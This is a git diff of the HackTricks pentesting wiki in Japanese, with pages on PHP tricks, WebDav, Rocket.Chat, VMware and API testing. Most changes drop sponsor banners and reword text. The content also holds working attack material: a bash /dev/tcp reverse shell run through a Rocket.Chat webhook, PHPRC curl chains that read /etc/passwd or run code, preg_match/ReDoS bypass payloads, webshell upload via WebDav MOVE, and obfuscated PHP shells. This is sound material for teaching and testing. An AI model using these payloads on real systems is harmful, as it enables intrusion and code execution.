- -**あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る** - -**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティの問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えるために、20 以上のカスタムツールを使用してください。 - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md index dd1022e23..5f003509b 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md @@ -2,13 +2,6 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -**あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る** - -**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけるために、20以上のカスタムツールを使用し、自動化されたエクスプロイトを利用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ## クッキーの一般的な場所: @@ -30,9 +23,9 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e ### 緩やかな比較/型ジャグリング ( == ) -`==` がPHPで使用される場合、比較が期待通りに動作しない予期しないケースがあります。これは、「==」が同じ型に変換された値のみを比較するためです。比較するデータの型も同じであることを確認したい場合は、`===` を使用する必要があります。 +`==` がPHPで使用される場合、比較が期待通りに動作しない予期しないケースがあります。これは「==」が同じ型に変換された値のみを比較するためであり、比較されるデータの型も同じであることを比較したい場合は `===` を使用する必要があります。 -PHP比較表: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php) +PHP比較テーブル: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php) ![](<../../../images/image (567).png>) @@ -40,8 +33,8 @@ PHP比較表: [https://www.php.net/manual/en/types.comparisons.php](https://www. - `"string" == 0 -> True` 数字で始まらない文字列は数字と等しい - `"0xAAAA" == "43690" -> True` 10進数または16進数形式の数字で構成された文字列は、数字が同じであれば他の数字/文字列と比較でき、結果はTrueになります(文字列内の数字は数字として解釈されます) -- `"0e3264578" == 0 --> True` "0e"で始まり、その後に何かが続く文字列は0と等しい -- `"0X3264578" == 0X --> True` "0"で始まり、任意の文字(Xは任意の文字)で続き、その後に何かが続く文字列は0と等しい +- `"0e3264578" == 0 --> True` "0e"で始まり、何かが続く文字列は0と等しい +- `"0X3264578" == 0X --> True` "0"で始まり、任意の文字(Xは任意の文字)で続き、何かが続く文字列は0と等しい - `"0e12334" == "0" --> True` これは非常に興味深いです。なぜなら、場合によっては「0」の文字列入力とそれにハッシュされて比較されるコンテンツを制御できるからです。したがって、「0e」で始まり、任意の文字がないハッシュを生成する値を提供できれば、比較をバイパスできる可能性があります。この形式の**すでにハッシュされた文字列**はここで見つけることができます: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) - `"X" == 0 --> True` 文字列内の任意の文字はint 0と等しい @@ -70,7 +63,7 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real ### 厳密な型のジャグリング -`===`が**使用されている**場合でも、**比較が脆弱**になる**型ジャグリング**を引き起こすエラーが発生する可能性があります。たとえば、比較が**比較する前にデータを異なる型のオブジェクトに変換している**場合です: +`===`が**使用されている**場合でも、**比較が脆弱になる**ようなエラーが発生する可能性があります。たとえば、比較が**比較する前にデータを異なる型のオブジェクトに変換している**場合です: ```php (int) "1abc" === (int) "1xyz" //This will be true ``` @@ -93,7 +86,7 @@ echo preg_match("/^.*1/",$myinput); echo preg_match("/^.*1.*$/",$myinput); //0 --> In this scenario preg_match DOESN'T find the char "1" ``` -このチェックを回避するには、**新しい行を含む値をURLエンコードして送信**するか(`%0A`)、**JSONデータ**を送信できる場合は、**複数行で送信**します: +このチェックを回避するには、**新しい行を含む値をURLエンコードして送信**するか(`%0A`)、**JSONデータ**を送信できる場合は、**複数行**で送信します: ```php { "cmd": "cat /etc/passwd" @@ -104,7 +97,7 @@ echo preg_match("/^.*1.*$/",$myinput); #### **長さエラーのバイパス** (このバイパスは明らかに PHP 5.2.5 で試され、PHP 7.3.15 では動作しませんでした)\ -`preg_match()` に有効な非常に **大きな入力** を送信できれば、**処理できなくなり**、チェックを **バイパス** できるようになります。たとえば、JSON をブラックリストにしている場合、次のように送信できます: +`preg_match()` に有効な非常に **大きな入力** を送信すると、**処理できなくなり**、チェックを **バイパス** できるようになります。たとえば、JSON をブラックリストにしている場合、次のように送信できます: ```bash payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}' ``` @@ -112,17 +105,17 @@ From: [https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challen #### ReDoS バイパス -Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) and [https://mizu.re/post/pong](https://mizu.re/post/pong) +トリック元: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) と [https://mizu.re/post/pong](https://mizu.re/post/pong)
-要するに、この問題はPHPの`preg_*`関数が[PCREライブラリ](http://www.pcre.org/)に基づいているために発生します。PCREでは、特定の正規表現が多くの再帰呼び出しを使用して一致され、これにより多くのスタックスペースが消費されます。再帰の許可される回数に制限を設定することは可能ですが、PHPではこの制限は[デフォルトで100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)であり、スタックに収まる以上の数です。 +要するに、問題は PHP の `preg_*` 関数が [PCRE ライブラリ](http://www.pcre.org/) に基づいているために発生します。PCRE では、特定の正規表現が多くの再帰呼び出しを使用して一致され、これにより多くのスタックスペースが消費されます。再帰の許可数に制限を設定することは可能ですが、PHP ではこの制限は [デフォルトで 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) であり、スタックに収まる以上の数です。 -[このStackoverflowスレッド](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error)も、問題についてより深く語られている投稿にリンクされています。我々のタスクは明確でした:\ -**正規表現が100,000回以上の再帰を行うような入力を送信し、SIGSEGVを引き起こし、`preg_match()`関数が`false`を返すようにして、アプリケーションが我々の入力を悪意のあるものではないと考えさせ、ペイロードの最後に`{system()}`のような驚きを投げかけてSSTI --> RCE --> フラグ :)**。 +[この Stackoverflow スレッド](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) もこの問題について詳しく説明されている投稿にリンクされています。私たちのタスクは明確でした:\ +**正規表現が 100,000 回以上の再帰を行うような入力を送信し、SIGSEGV を引き起こし、`preg_match()` 関数が `false` を返すようにして、アプリケーションが私たちの入力を悪意のあるものではないと考えさせ、ペイロードの最後に `{system()}` のような驚きを投げかけて SSTI --> RCE --> フラグ :)**。 -さて、正規表現の用語で言えば、実際には100kの「再帰」を行っているわけではなく、代わりに「バックトラッキングステップ」を数えています。これは[PHPのドキュメント](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)によれば、`pcre.backtrack_limit`変数でデフォルトで1,000,000(1M)です。\ -それを達成するために、`'X'*500_001`は100万のバックトラッキングステップ(50万前進し、50万後退)を生成します: +さて、正規表現の用語で言えば、実際には 100k の「再帰」を行っているわけではなく、代わりに「バックトラッキングステップ」を数えています。これは [PHP ドキュメント](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) によれば、`pcre.backtrack_limit` 変数のデフォルトは 1,000,000 (1M) です。\ +それを達成するために、`'X'*500_001` は 100 万のバックトラッキングステップ(500k 前方と 500k 後方)を生成します: ```python payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}" ``` @@ -139,7 +132,7 @@ $obfs += ""; //int 7 ``` ## Execute After Redirect (EAR) -PHPが別のページにリダイレクトしているが、ヘッダー`Location`が設定された後に**`die`**または**`exit`**関数が**呼び出されていない**場合、PHPは実行を続け、データをボディに追加します: +PHPが別のページにリダイレクトしているが、ヘッダー`Location`が設定された後に**`die`**または**`exit`**関数が**呼び出されていない**場合、PHPは実行を続け、データをボディに追加します: ```php ** をチェックして、php ディレクトリが有効になっているか確認してください。 - [**php ラッパーを使用した LFI と RCE**](../../../pentesting-web/file-inclusion/) ### password_hash/password_verify -これらの関数は通常、PHP で **パスワードからハッシュを生成する**ために使用され、ハッシュと比較してパスワードが正しいかどうかを **確認** するために使用されます。\ +これらの関数は通常、PHP で **パスワードからハッシュを生成する** ために使用され、ハッシュと比較してパスワードが正しいかどうかを **確認** するために使用されます。\ サポートされているアルゴリズムは: `PASSWORD_DEFAULT` と `PASSWORD_BCRYPT`(`$2y$` で始まります)。**PASSWORD_DEFAULT は頻繁に PASSWORD_BCRYPT と同じであることに注意してください。** 現在、**PASSWORD_BCRYPT** には **72バイトの入力サイズ制限**があります。したがって、このアルゴリズムで 72 バイトを超えるものをハッシュしようとすると、最初の 72B のみが使用されます: ```php $cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW @@ -182,7 +175,7 @@ True [**このTwitterスレッド**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19)から、1000を超えるGETパラメータや1000を超えるPOSTパラメータ、または20ファイルを送信すると、PHPはレスポンスにヘッダーを設定しないことがわかります。 -これにより、例えばCSPヘッダーがコード内で設定されている場合のバイパスが可能になります。 +これにより、例えばCSPヘッダーが次のようなコードで設定されている場合にバイパスが可能になります: ```php ) @@ -234,7 +227,7 @@ preg_replace("/a/e","phpinfo()","whatever") ``` ?page=a','NeVeR') === false and system('ls') and strpos('a ``` -コードの**構文**を**壊し**、**ペイロード**を**追加**し、再び**修正**する必要があります。**論理演算**を使用できます。例えば、"**and"**や**"%26%26"**、または"**|**"です。"or"や"||"は機能しないことに注意してください。最初の条件が真である場合、ペイロードは実行されません。同様に、";"も機能しません。なぜなら、ペイロードは実行されないからです。 +コードの**構文**を**壊し**、**ペイロード**を**追加**し、再び**修正**する必要があります。**論理演算子**を使用できます。例えば、"**and"**や**"%26%26"**、または"|"です。"or"や"||"は機能しないことに注意してください。最初の条件が真である場合、ペイロードは実行されません。同様に、";"も機能しません。なぜなら、ペイロードは実行されないからです。 **別のオプション**は、文字列にコマンドの実行を追加することです:`'.highlight_file('.passwd').'` @@ -265,30 +258,30 @@ usort();}phpinfo;#, "cmp"); ``` あなたは**//**を使ってコードの残りをコメントすることもできます。 -閉じる必要がある括弧の数を発見するには: +閉じる必要のある括弧の数を発見するには: -- `?order=id;}//`: エラーメッセージが表示されます(`Parse error: syntax error, unexpected ';'`)。おそらく1つ以上の括弧が不足しています。 -- `?order=id);}//`: **警告**が表示されます。それは正しいようです。 -- `?order=id));}//`: エラーメッセージが表示されます(`Parse error: syntax error, unexpected ')' i`)。おそらく閉じ括弧が多すぎます。 +- `?order=id;}//`:エラーメッセージが表示されます(`Parse error: syntax error, unexpected ';'`)。おそらく1つ以上の括弧が不足しています。 +- `?order=id);}//`:**警告**が表示されます。これは正しいようです。 +- `?order=id));}//`:エラーメッセージが表示されます(`Parse error: syntax error, unexpected ')' i`)。おそらく閉じ括弧が多すぎます。 ### **.httaccess経由のRCE** -**.htaccess**を**アップロード**できる場合、いくつかの設定を行い、コードを実行することさえできます(.htaccess拡張子のファイルが**実行**されるように設定すること)。 +**.htaccess**を**アップロード**できる場合、いくつかの設定を行い、コードを実行することもできます(.htaccess拡張子のファイルが**実行**されるように設定すること)。 異なる.htaccessシェルは[こちら](https://github.com/wireghoul/htshells)で見つけることができます。 ### 環境変数経由のRCE -PHPで**環境変数を変更する**ことを許可する脆弱性を見つけた場合(ファイルをアップロードするための別の脆弱性も必要ですが、さらに調査すればこれを回避できるかもしれません)、この動作を悪用して**RCE**を取得できます。 +PHPで**環境変数を変更する**ことを許可する脆弱性を見つけた場合(ファイルをアップロードするための別の脆弱性も必要ですが、さらに調査すれば回避できるかもしれません)、この動作を悪用して**RCE**を取得できます。 -- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld_preload-and-ld_library_path): この環境変数は、他のバイナリを実行する際に任意のライブラリを読み込むことを許可します(ただし、この場合は機能しないかもしれません)。 -- **`PHPRC`**: PHPに**設定ファイルの場所**を指示します。通常は`php.ini`と呼ばれます。独自の設定ファイルをアップロードできる場合は、`PHPRC`を使用してPHPにそれを指し示します。2番目のアップロードファイルを指定する**`auto_prepend_file`**エントリを追加します。この2番目のファイルには通常の**PHPコードが含まれ、PHPランタイムによって他のコードの前に実行されます**。 +- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld_preload-and-ld_library_path):この環境変数は、他のバイナリを実行する際に任意のライブラリを読み込むことを許可します(ただし、この場合は機能しないかもしれません)。 +- **`PHPRC`**:PHPに**設定ファイルの場所**を指示します。通常は`php.ini`と呼ばれます。独自の設定ファイルをアップロードできる場合、`PHPRC`を使用してPHPにそれを指し示します。2番目のアップロードファイルを指定する**`auto_prepend_file`**エントリを追加します。この2番目のファイルには通常の**PHPコードが含まれ、PHPランタイムによって他のコードの前に実行されます**。 1. シェルコードを含むPHPファイルをアップロードします。 -2. ステップ1でアップロードしたファイルを実行するようPHPプリプロセッサに指示する**`auto_prepend_file`**ディレクティブを含む2番目のファイルをアップロードします。 -3. ステップ2でアップロードしたファイルに`PHPRC`変数を設定します。 -- このチェーンを実行する方法についての詳細は[**元のレポートから**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)。 +2. 1ステップでアップロードしたファイルを実行するようPHPプリプロセッサに指示する**`auto_prepend_file`**ディレクティブを含む2番目のファイルをアップロードします。 +3. 2ステップでアップロードしたファイルに`PHPRC`変数を設定します。 +- このチェーンを実行する方法についての詳細は[**元のレポートから**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)取得できます。 - **PHPRC** - 別のオプション -- **ファイルをアップロードできない**場合、FreeBSDでは**`stdin`**を含む"ファイル" `/dev/fd/0`を使用できます。これは`stdin`に送信されたリクエストの**本体**です: +- **ファイルをアップロードできない**場合、FreeBSDでは**`stdin`**を含む"ファイル" `/dev/fd/0`を使用できます。これは`stdin`に送信されたリクエストの**ボディ**です: - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'` - またはRCEを取得するために、**`allow_url_include`**を有効にし、**base64 PHPコード**を含むファイルを前置きします: - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'` @@ -330,7 +323,7 @@ exec, shell_exec, system, passthru, eval, popen unserialize, include, file_put_cotents $_COOKIE | if #This mea ``` -PHPアプリケーションをデバッグしている場合は、`/etc/php5/apache2/php.ini`に`display_errors = On`を追加してエラープリンティングをグローバルに有効にし、apacheを再起動します: `sudo systemctl restart apache2` +PHPアプリケーションをデバッグしている場合は、`/etc/php5/apache2/php.ini`に`display_errors = On`を追加してエラー表示をグローバルに有効にし、apacheを再起動します: `sudo systemctl restart apache2` ### PHPコードのデオブフスケーション @@ -455,12 +448,4 @@ $____.=$__; $_=$$____; $___($_[_]); // ASSERT($_POST[_]); ``` -
- -**あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る** - -**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけるために、20以上のカスタムツールを使用し、自動化されたエクスプロイトを利用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/put-method-webdav.md b/src/network-services-pentesting/pentesting-web/put-method-webdav.md index ee77b4eea..a7081093a 100644 --- a/src/network-services-pentesting/pentesting-web/put-method-webdav.md +++ b/src/network-services-pentesting/pentesting-web/put-method-webdav.md @@ -1,28 +1,20 @@ # WebDav -
- -\ -[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=put-method-webdav)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフロー**を簡単に構築し、**自動化**します。\ -今すぐアクセスを取得: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=put-method-webdav" %} - {{#include ../../banners/hacktricks-training.md}} -**WebDav**が有効な**HTTPサーバー**を扱う際、正しい**資格情報**があれば**ファイルを操作**することが可能です。通常、これは**HTTP Basic Authentication**を通じて確認されます。このようなサーバーを制御するには、しばしば**ウェブシェルのアップロードと実行**が関与します。 +**WebDav**が有効な**HTTPサーバー**を扱う際、正しい**認証情報**があれば**ファイルを操作**することが可能です。通常、これは**HTTP Basic Authentication**を通じて確認されます。このようなサーバーを制御するには、しばしば**ウェブシェルのアップロードと実行**が関与します。 -WebDavサーバーへのアクセスには通常、**有効な資格情報**が必要であり、[**WebDavブルートフォース**](../../generic-hacking/brute-force.md#http-basic-auth)はそれを取得する一般的な方法です。 +WebDavサーバーへのアクセスには通常、**有効な認証情報**が必要であり、[**WebDavブルートフォース**](../../generic-hacking/brute-force.md#http-basic-auth)はそれを取得する一般的な方法です。 -ファイルのアップロードに対する制限、特にサーバーサイドスクリプトの実行を防ぐ制限を克服するために、次のことができます: +ファイルアップロードに対する制限、特にサーバーサイドスクリプトの実行を防ぐ制限を克服するために、次のことができます: -- 制限がない場合、**実行可能な拡張子**を持つファイルを直接**アップロード**します。 -- アップロードした非実行可能ファイル(.txtなど)の名前を実行可能な拡張子に**変更**します。 -- アップロードした非実行可能ファイルを**コピー**し、その拡張子を実行可能なものに変更します。 +- 制限がない場合、**実行可能な拡張子**を持つファイルを**直接アップロード**する。 +- アップロードした非実行可能ファイル(.txtなど)の名前を実行可能な拡張子に**変更**する。 +- アップロードした非実行可能ファイルを**コピー**し、その拡張子を実行可能なものに変更する。 ## DavTest -**Davtest**は、**異なる拡張子を持つ複数のファイルをアップロードし**、拡張子が**実行されるかどうかを確認**します: +**Davtest**は、**異なる拡張子を持つ複数のファイルをアップロードし**、その拡張子が**実行されるかどうかを確認**します: ```bash davtest [-auth user:password] -move -sendbd auto -url http:// #Uplaod .txt files and try to move it to other extensions davtest [-auth user:password] -sendbd auto -url http:// #Try to upload every extension @@ -42,31 +34,23 @@ cadaver curl -T 'shell.txt' 'http://$ip' ``` ## MOVE リクエスト -``` +```bash curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt' ``` -
+## IIS5/6 WebDav 脆弱性 -\ -[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=put-method-webdav)を使用して、世界で最も**高度な**コミュニティツールによって**自動化されたワークフロー**を簡単に構築できます。\ -今すぐアクセスを取得: +この脆弱性は非常に興味深いです。**WebDav**は**.asp**拡張子のファイルを**アップロード**または**名前変更**することを**許可しません**。しかし、名前の末尾に**";.txt"**を追加することで**バイパス**できます。そうすると、そのファイルはあたかも .asp ファイルのように**実行**されます(**".txt"の代わりに".html"を使用することもできますが、**";"を忘れないでください**)。 -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=put-method-webdav" %} - -## IIS5/6 WebDavの脆弱性 - -この脆弱性は非常に興味深いです。**WebDav**は**.asp**拡張子のファイルを**アップロード**または**名前変更**することを**許可しません**。しかし、名前の末尾に**";.txt"**を追加することで**バイパス**できます。そうすると、そのファイルは**.asp**ファイルのように**実行されます**(**".txt"の代わりに".html"を使用することもできますが、**";"を忘れないでください**)。 - -その後、あなたはシェルを**".txt"ファイル**として**アップロード**し、それを**".asp;.txt"**ファイルに**コピー/移動**できます。そのファイルにウェブサーバーを通じてアクセスすると、**実行されます**(cadaverは移動アクションが機能しなかったと言いますが、実際には機能しました)。 +その後、あなたはシェルを**".txt"ファイル**として**アップロード**し、それを**".asp;.txt"**ファイルに**コピー/移動**できます。そのファイルにウェブサーバーを通じてアクセスすると、それは**実行**されます(cadaverは移動アクションが機能しなかったと言いますが、実際には機能しました)。 ![](<../../images/image (1092).png>) -## 資格情報の後処理 +## ポスト認証情報 WebdavがApacheサーバーを使用している場合、Apacheで構成されたサイトを確認する必要があります。一般的には:\ \&#xNAN;_**/etc/apache2/sites-enabled/000-default**_ -その中に次のようなものが見つかるかもしれません: +その中には次のようなものが見つかるかもしれません: ``` ServerAdmin webmaster@localhost Alias /webdav /var/www/webdav @@ -77,7 +61,7 @@ AuthName "webdav" AuthUserFile /etc/apache2/users.password Require valid-user ``` -ご覧のとおり、**webdav** サーバーの有効な **credentials** が含まれているファイルがあります: +ご覧のとおり、**webdav** サーバーの有効な **credentials** を含むファイルがあります: ``` /etc/apache2/users.password ``` @@ -96,11 +80,3 @@ wget --user --ask-password http://domain/path/to/webdav/ -O - -q - [https://vk9-sec.com/exploiting-webdav/](https://vk9-sec.com/exploiting-webdav/) {{#include ../../banners/hacktricks-training.md}} - -
- -\ -[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=put-method-webdav)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフロー**を簡単に構築および**自動化**します。\ -今すぐアクセスを取得: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=put-method-webdav" %} diff --git a/src/network-services-pentesting/pentesting-web/rocket-chat.md b/src/network-services-pentesting/pentesting-web/rocket-chat.md index 9b454adb3..23839cc39 100644 --- a/src/network-services-pentesting/pentesting-web/rocket-chat.md +++ b/src/network-services-pentesting/pentesting-web/rocket-chat.md @@ -2,42 +2,35 @@ {{#include ../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} - ## RCE Rocket Chatの管理者であれば、RCEを取得できます。 -- **`Integrations`**に移動し、**`New Integration`**を選択して、**`Incoming WebHook`**または**`Outgoing WebHook`**のいずれかを選びます。 +- **`Integrations`**に移動し、**`New Integration`**を選択して、**`Incoming WebHook`**または**`Outgoing WebHook`**のいずれかを選択します。 - `/admin/integrations/incoming`
-- [docs](https://docs.rocket.chat/guides/administration/admin-panel/integrations)によると、どちらもES2015 / ECMAScript 6([基本的にJavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c))を使用してデータを処理します。だから、[javascript用のrev shell](../../generic-hacking/reverse-shells/linux.md#nodejs)を取得しましょう。 +- [docs](https://docs.rocket.chat/guides/administration/admin-panel/integrations)によると、両方ともES2015 / ECMAScript 6([基本的にJavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c))を使用してデータを処理します。では、[rev shell for javascript](../../generic-hacking/reverse-shells/linux.md#nodejs)を取得しましょう。 ```javascript const require = console.log.constructor("return process.mainModule.require")() const { exec } = require("child_process") exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'") ``` -- WebHookを設定する(チャンネルとユーザー名としての投稿が存在する必要があります): +- WebHookを設定します(チャンネルと投稿のユーザー名が存在する必要があります):
-- WebHookスクリプトを設定する: +- WebHookスクリプトを設定します:
-- 変更を保存する -- 生成されたWebHook URLを取得する: +- 変更を保存します +- 生成されたWebHook URLを取得します:
- curlで呼び出すと、rev shellを受け取るはずです -
- -{% embed url="https://websec.nl/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md index 7069d9bb1..9f01a677a 100644 --- a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md +++ b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md @@ -1,8 +1,5 @@ {{#include ../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} # 列挙 ```bash @@ -16,8 +13,4 @@ msf> auxiliary/scanner/vmware/vmware_http_login ``` 有効な資格情報を見つけた場合、より多くのmetasploitスキャナーモジュールを使用して情報を取得できます。 -
- -{% embed url="https://websec.nl/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md index d7cf1c2f9..540c14427 100644 --- a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md +++ b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md @@ -2,38 +2,31 @@ {{#include ../../banners/hacktricks-training.md}} -
- -[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=web-api-pentesting)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**します。\ -今すぐアクセスを取得: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=web-api-pentesting" %} - ## API Pentesting Methodology Summary APIのペンテストは、脆弱性を発見するための体系的なアプローチを含みます。このガイドは、実用的な技術とツールを強調した包括的な方法論を要約しています。 ### **Understanding API Types** -- **SOAP/XML Web Services**: ドキュメントのためにWSDL形式を利用し、通常は`?wsdl`パスで見つかります。**SOAPUI**や**WSDLer**(Burp Suite Extension)などのツールは、リクエストの解析と生成に役立ちます。例のドキュメントは[**DNE Online**](http://www.dneonline.com/calculator.asmx)でアクセス可能です。 -- **REST APIs (JSON)**: ドキュメントは通常WADLファイルで提供されますが、[Swagger UI](https://swagger.io/tools/swagger-ui/)のようなツールは、インタラクションのためのよりユーザーフレンドリーなインターフェースを提供します。**Postman**は、例のリクエストを作成および管理するための貴重なツールです。 +- **SOAP/XML Web Services**: ドキュメントのためにWSDL形式を利用し、通常は`?wsdl`パスで見つかります。**SOAPUI**や**WSDLer**(Burp Suite Extension)などのツールは、リクエストの解析と生成に役立ちます。例のドキュメントは[DNE Online](http://www.dneonline.com/calculator.asmx)でアクセス可能です。 +- **REST APIs (JSON)**: ドキュメントはWADLファイルで提供されることが多いですが、[Swagger UI](https://swagger.io/tools/swagger-ui/)のようなツールは、インタラクションのためのよりユーザーフレンドリーなインターフェースを提供します。**Postman**は、例のリクエストを作成および管理するための貴重なツールです。 - **GraphQL**: APIのためのクエリ言語で、API内のデータの完全で理解可能な説明を提供します。 ### **Practice Labs** -- [**VAmPI**](https://github.com/erev0s/VAmPI): OWASPトップ10 API脆弱性をカバーする、実践的な練習のための意図的に脆弱なAPIです。 +- [**VAmPI**](https://github.com/erev0s/VAmPI): OWASPトップ10 API脆弱性をカバーするための実践的な練習用に意図的に脆弱なAPIです。 ### **Effective Tricks for API Pentesting** - **SOAP/XML Vulnerabilities**: XXE脆弱性を探求しますが、DTD宣言はしばしば制限されています。XMLが有効なままであれば、CDATAタグはペイロードの挿入を許可する場合があります。 -- **Privilege Escalation**: 異なる特権レベルを持つエンドポイントをテストして、不正アクセスの可能性を特定します。 +- **Privilege Escalation**: 権限レベルが異なるエンドポイントをテストして、不正アクセスの可能性を特定します。 - **CORS Misconfigurations**: 認証されたセッションからのCSRF攻撃を通じて、潜在的な悪用可能性のためにCORS設定を調査します。 -- **Endpoint Discovery**: APIパターンを利用して隠れたエンドポイントを発見します。ファジングツールのようなツールを使用してこのプロセスを自動化できます。 +- **Endpoint Discovery**: APIパターンを利用して隠れたエンドポイントを発見します。ファジングツールのようなツールは、このプロセスを自動化できます。 - **Parameter Tampering**: リクエスト内のパラメータを追加または置き換えて、不正なデータや機能にアクセスすることを試みます。 - **HTTP Method Testing**: リクエストメソッド(GET、POST、PUT、DELETE、PATCH)を変えて、予期しない動作や情報漏洩を発見します。 - **Content-Type Manipulation**: 異なるコンテンツタイプ(x-www-form-urlencoded、application/xml、application/json)を切り替えて、解析の問題や脆弱性をテストします。 -- **Advanced Parameter Techniques**: JSONペイロード内で予期しないデータ型を使用してテストしたり、XXEインジェクションのためにXMLデータで遊んだりします。また、パラメータ汚染やワイルドカード文字を試して、より広範なテストを行います。 -- **Version Testing**: 古いAPIバージョンは攻撃に対してより脆弱である可能性があります。常に複数のAPIバージョンを確認し、テストしてください。 +- **Advanced Parameter Techniques**: JSONペイロード内で予期しないデータ型を使用してテストしたり、XXEインジェクションのためにXMLデータを操作したりします。また、パラメータ汚染やワイルドカード文字を試して、より広範なテストを行います。 +- **Version Testing**: 古いAPIバージョンは攻撃に対してより脆弱である可能性があります。常に複数のAPIバージョンに対してチェックし、テストを行います。 ### **Tools and Resources for API Pentesting** @@ -50,20 +43,13 @@ kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0 ### **学習と実践リソース** -- **OWASP API Security Top 10**: 一般的なAPIの脆弱性を理解するための必読書です ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf))。 -- **API Security Checklist**: APIを保護するための包括的なチェックリストです ([GitHub link](https://github.com/shieldfy/API-Security-Checklist))。 -- **Logger++ Filters**: APIの脆弱性を探すために、Logger++は便利なフィルターを提供します ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters))。 -- **API Endpoints List**: 